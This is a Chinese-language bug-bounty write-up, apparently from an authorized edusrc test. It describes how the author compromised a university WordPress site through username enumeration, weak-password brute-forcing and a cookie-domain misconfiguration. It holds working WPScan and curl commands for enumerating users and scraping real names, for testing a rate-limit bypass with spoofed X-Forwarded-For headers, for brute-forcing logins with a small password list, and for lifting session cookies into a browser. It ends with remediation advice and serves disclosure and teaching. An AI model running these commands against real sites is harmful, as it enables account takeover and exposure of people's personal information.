前言

在一次授权的 edusrc 漏洞挖掘中,对某高校官网(WordPress 搭建)进行了安全测试,发现了一条由用户名枚举 → 弱口令爆破 → Cookie 域问题绕过 → 后台权限确认串联而成的完整攻击链,最终以中危提交并通过。

本文记录完整的发现过程与技术细节,目标信息已脱敏处理。


一、环境信息

项目 内容
CMS WordPress(国产化定制版本)
WordPress 版本 5.8.6
已识别插件 Limit Login Attempts Reloaded v2.23.1、wp-pagenavi
站点类型 WordPress Multisite(多站点网络)
服务器 Nginx
真实后端域名 通过 Set-Cookie 响应头泄露(见第五节)

二、WPScan 初步扫描

2.1 扫描命令

1
wpscan --url https://target.edu.cn --enumerate u,vp --api-token <token>

2.2 站点特征

1
2
3
[+] This site seems to be a multisite
[+] This site has 'Must Use Plugins': https://target.edu.cn/wp-content/mu-plugins/
[+] The external WP-Cron seems to be enabled: https://target.edu.cn/wp-cron.php

2.3 已识别插件

1
2
3
4
5
[+] limit-login-attempts-reloaded
| Version: 2.23.1

[+] wp-pagenavi
| Latest Version: 2.94.5

2.4 枚举到 34 个用户名

WPScan 通过 /wp-sitemap-users-1.xml/author/ 路径枚举出所有注册用户,格式规律明显(部门缩写 + 数字),说明是批量创建的账号:

1
2
3
user_a, user_b, dept1_1, dept1_2, dept2_1, dept2_2,
mgmt1, mgmt2, mgmt3, staff_xx, staff_yy,
...(共 34 个)

2.5 WordPress 5.8.6 已知漏洞(18个)

漏洞名称 CVE 所需权限
Unauthenticated Blind SSRF via DNS Rebinding CVE-2022-3590 无需认证
Directory Traversal via Translation Files CVE-2023-2745 无需认证
Reflected XSS via Application Password - 无需认证
Subscriber+ Arbitrary Shortcode Execution - Subscriber+
Contributor+ Stored XSS via HTML API - Contributor+
Deserialization of Untrusted Data - 登录用户
Login Attempts Reloaded IP Bypass CVE-2020-35590 无需认证
Admin+ PHP File Upload - Admin+
(其余 10 个) - Author+

大多数漏洞需要 Contributor 以上权限,因此重点先放在获取有效账号上。


三、用户名信息深度收集

3.1 Sitemap 爬取

WordPress Sitemap 公开暴露所有用户名及内容路径,通过以下方式可完整获取:

1
2
3
4
5
6
# 获取主 sitemap
curl -sk "https://target.edu.cn/wp-sitemap.xml"

# 爬取所有子文件
python3 sitemap_crawler.py
# 结果:18,583 条 URL,45 个内容分类路径,34 个 /author/ 路径

/author/ 路径直接暴露所有账号用户名:

1
2
3
https://target.edu.cn/author/staff_xx/
https://target.edu.cn/author/staff_yy/
...(共 34 个)

3.2 Author 页面真实姓名提取

抓取每个 author 页面的 <title> 标签,可以获取到账号对应的真实姓名:

1
2
3
4
5
6
grep '/author/' /tmp/sitemap_urls.txt | grep -oP 'author/\K[^/]+' | while read user; do
TITLE=$(curl -sk "https://target.edu.cn/author/${user}/" \
| grep -oP '(?<=<title>).*?(?=</title>)' | head -1)
echo "[$user] → $TITLE"
sleep 0.3
done

部分结果示例(已脱敏):

1
2
3
4
5
[staff_xx]  → staff_xx – 某高校
[dept1_mgr] → 张** – 某高校
[dept2_mgr] → 李** – 某高校
[dept3_sec] → 王** – 某高校
...

其中一个账号关联内容路径为 /xxxzixun/(某资讯栏目),该栏目含 8,779 篇文章,为高频维护账号,是后续爆破的优先目标。


四、CVE 验证

拿到账号前先对已知 CVE 逐一验证,结果均已缓解。

4.1 CVE-2020-35590 — 登录限速绕过

测试 Limit Login Attempts Reloaded 是否启用「信任自定义 IP 头」:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 固定 IP 连续失败测试
for i in {1..6}; do
curl -sk -X POST "https://target.edu.cn/wp-login.php" \
-H "X-Forwarded-For: 1.2.3.4" \
-d "log=admin&pwd=wrongpass_${i}&wp-submit=Log+In&testcookie=1" \
-b "wordpress_test_cookie=WP Cookie check" | grep -oi "too many\|attempts"
done

# 随机 IP 绕过测试
for i in {1..5}; do
RIP="$(shuf -i 10-200 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
curl -sk -X POST "https://target.edu.cn/wp-login.php" \
-H "X-Forwarded-For: $RIP" \
-d "log=admin&pwd=wrongpass_bypass_${i}&wp-submit=Log+In&testcookie=1" \
-b "wordpress_test_cookie=WP Cookie check" | grep -oi "too many\|attempts\|incorrect"
done

结果: 固定 IP 和随机 IP 均触发限速,插件未启用 Trust IP 选项,已缓解

4.2 CVE-2023-5561 — 用户名有效性判断

测试登录错误信息是否区分用户名有效性:

1
2
3
4
5
6
7
8
9
10
11
# 真实用户
curl -sk -X POST "https://target.edu.cn/wp-login.php" \
-d "log=staff_xx&pwd=wrongpass" \
| grep -oP 'id="login_error">.*?</div>'
# 返回:错误: 不正确的用户名或密码。剩余 4 次尝试。

# 不存在的用户
curl -sk -X POST "https://target.edu.cn/wp-login.php" \
-d "log=nonexistent_xyz&pwd=wrongpass" \
| grep -oP 'id="login_error">.*?</div>'
# 返回:错误: 不正确的用户名或密码。剩余 4 次尝试。

结果: 两者返回相同错误信息,已缓解

4.3 REST API 与 XMLRPC

1
2
3
4
5
curl -sk "https://target.edu.cn/wp-json/wp/v2/users"
# 返回:401 rest_login_required — REST API 全局封锁

curl -sk "https://target.edu.cn/xmlrpc.php"
# 返回:403 Forbidden — nginx 层拦截

结果: 均已封锁。


五、弱口令爆破

5.1 字典构造

CVE 路线全部堵死,回到账号本身。34 个用户名格式规律(部门缩写 + 数字),密码大概率也是统一设置的弱口令,先用精简字典试探:

1
2
3
4
5
6
7
8
9
10
cat > school_pass.txt << EOF
123456
admin123
target123
Target@2024
Target2024
12345678
password
qwerty123
EOF

5.2 WPScan 爆破

1
2
3
4
wpscan --url https://target.edu.cn \
--usernames user_a,user_b,staff_xx,dept1_mgr \
--passwords school_pass.txt \
--api-token <token>

结果:

1
2
3
4
5
[!] Valid Combinations Found:
| Username: staff_xx, Password: 123456

[+] Requests Done: 170
[+] Elapsed time: 00:00:28

账号 staff_xx 密码为 123456,命中。


六、Cookie 域问题分析与绕过

6.1 登录测试——发现进不去

爆破命中后,在浏览器里直接用 staff_xx / 123456 登录,提交后服务端返回 302 跳转到 /wp-admin/,但浏览器跟随跳转后立刻又回到登录页,反复尝试均如此。

用 curl 验证密码是否正确:

1
2
3
4
curl -sk -X POST "https://target.edu.cn/wp-login.php" \
-b "wordpress_test_cookie=WP Cookie check" \
-d "log=staff_xx&pwd=123456&wp-submit=Log+In&testcookie=1" \
-D - -o /dev/null

响应:

1
2
HTTP/2 302
location: /wp-admin/

302 跳转至 /wp-admin/,说明密码是对的,问题出在浏览器这边。

6.2 抓包定位原因

用 Burp Suite 拦截登录成功的 302 响应,查看完整响应头:

1
2
3
4
5
6
HTTP/2 302
location: https://target.edu.cn/wp-admin/
set-cookie: wordpress_logged_in_d993a88...=staff_xx%7C...;
path=/; domain=.backend-internal.com; secure; HttpOnly
set-cookie: wordpress_sec_d993a88...=staff_xx%7C...;
path=/wp-admin; domain=.backend-internal.com; secure; HttpOnly

问题找到了:Cookie 的 domain 字段被设置成了 .backend-internal.com,而浏览器当前访问的是 target.edu.cn

浏览器安全策略规定,Set-Cookie 中的 domain 必须是当前访问域名本身或其父域,否则直接拒绝存储。因此跟随 302 跳转访问 /wp-admin/ 时,Cookie 根本不在请求里,服务端认为未登录,重定向回登录页,形成死循环。

附加发现: 真实后端域名 backend-internal.com 通过 Set-Cookie 响应头泄露,可作为进一步资产收集的线索。

用 curl 获取有效 Cookie 值,手动注入浏览器,将 domain 改为目标域名:

1
2
3
4
5
# 获取 Cookie
curl -sk -X POST "https://target.edu.cn/wp-login.php" \
-b "wordpress_test_cookie=WP Cookie check" \
-d "log=staff_xx&pwd=123456&wp-submit=Log+In&testcookie=1" \
-D - -o /dev/null | grep -E "wordpress_logged_in|wordpress_sec"

在浏览器开发者工具(Application → Cookies)中手动新建两条 Cookie:

名称 domain path
wordpress_logged_in_d993a88... target.edu.cn /
wordpress_sec_d993a88... target.edu.cn /wp-admin

刷新后成功进入 https://target.edu.cn/wp-admin/profile.php

1
2
<title>个人资料 ‹ 某高校 — WordPress</title>
您好,<span class="display-name">staff_xx</span>

七、权限确认

进入后台后查看左侧菜单:仪表盘、文章、媒体、评论、联系、个人资料、工具

无「外观」「插件」「用户」「设置」等菜单,确认角色为 Author(作者)

已确认权限 说明
发布 / 编辑 / 删除文章 可操作某资讯栏目下 8,779 篇文章
上传媒体文件 可上传任意文件至媒体库
查看待审评论 可见部分待审评论

Author 级别后续可利用方向(未测试):

  • Contributor+ Stored XSS via HTML API — 向文章写入 XSS payload,管理员访问时触发,可窃取 Admin Cookie 进一步提权
  • Subscriber+ Arbitrary Shortcode Execution — 执行任意短代码

八、漏洞总结

风险项 等级
弱口令(账号密码 123456) 🔴 高危
用户名全量枚举(34个) 🟠 中危
真实后端域名通过响应头泄露 🟠 中危
Author 页面真实姓名泄露 🟡 低危
CVE-2020-35590 限速绕过 ✅ 已缓解
CVE-2023-5561 用户名枚举 ✅ 已缓解
REST API / XMLRPC ✅ 已封锁

提交 edusrc 定级:中危(账号为 Author 非管理员,权限受限)。


九、修复建议

立即处置:

  • 对全部 34 个账号进行弱口令审计,强制密码策略(≥12 位,含大小写 + 数字 + 特殊字符)
  • 升级 WordPress 至最新版本

短期加固:

  • 修复 Set-Cookie 中的 domain 字段,统一设置为前端访问域名
  • 关闭或权限限制 /wp-sitemap-users-*.xml 路径
  • 考虑隐藏 /author/ 页面,防止批量提取真实姓名

长期建议:

  • 限制 /wp-admin/ 访问来源,仅允许内网或 VPN IP 段
  • 启用双因素认证(2FA)
  • 自定义后台登录路径,增加攻击成本

十、小结

这次挖洞最有意思的地方是 Cookie domain 那个问题——表面上是”密码输对了却进不去”,用 Burp 抓包才发现服务端返回的 Cookie domain 是真实后端域名,与前端域名不同,浏览器安全机制直接拒绝存储,用 curl 拿到 Cookie 手动注入浏览器才绕过去。这个配置错误同时也把真实后端基础设施暴露出来,是个额外的信息泄露。

整条链路:Sitemap 用户枚举 → 精简字典弱口令爆破 → Cookie 域分析绕过 → Author 权限后台,每一步都有明确的技术依据。CVE 部分虽然全部缓解,但逐一验证的过程也是完整报告不可缺少的部分。